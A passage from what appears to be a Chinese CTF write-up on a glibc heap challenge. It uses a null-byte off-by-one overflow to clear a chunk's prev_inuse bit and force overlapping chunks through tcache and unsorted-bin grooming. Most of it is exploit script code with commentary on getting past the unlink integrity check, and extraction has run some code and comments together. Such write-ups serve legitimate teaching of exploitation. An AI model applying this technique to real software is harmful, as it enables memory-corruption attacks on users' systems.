显然易见的可以读size+1个字符,但最后一个字符只能是\x00, 所以这里是null by off,溢出NULL字符,改变nextchunk的size和prev_inuse标志位,nextchunk的size 一般都应该在0xppppp00左右,即16进制下后两位为零,而且至少chunksize>=0x100。这道题的输入还有一个特点,不能输入\x00字符。先看一下这道题的分配chunk的特点。
# step 1: get three unsortedbin chunks # note that to avoid top consolidation, we need to arrange them like: # tcache * 6 -> unsortd * 3 -> tcache # 内存布局把tache填满,且最后一个tache为最后一个内存块,防止中间的3个unsortbin和top_chunk合并。 for i inrange(7): new(0x10, str(i) + ' - tcache')
for i inrange(3): new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks
# arrange: for i inrange(6): delete(i) delete(9) for i inrange(6, 9): delete(i)
# step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap) #分割经过合并大的unsorted_chunk 得到三个需要的unsorted_chunk,这个时候0x200的prev_size已经被写到中 # 间的unsorted_chunk了. for i inrange(7): new(0x10, str(i) + ' - tcache')
# rearrange to take second unsorted bin into tcache chunk, but leave first # unsorted bin unchanged new(0x10, '7 - first') new(0x10, '8 - second') new(0x10, '9 - third') # 释放掉6个到tcache里面,最后一个留个中间那个unsorted_chunk,因为一会需要直接拿出覆盖写。 for i inrange(6): delete(i) # move second into tcache delete(8) # delete first to provide valid fd & bk # 为什么这里需要把这个unsortbin也释放掉呢?好问题,这里是因为在后面向后扩展的unlink中有一处验证 # if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 把这个验证绕过了。 delete(7) #直接从tcache里面拿出来写,覆盖第三个unsorted_chunk的perv_inuse的标志位 new(0xf8, '0 - overflow') # fill up tcache #填满tacache delete(6)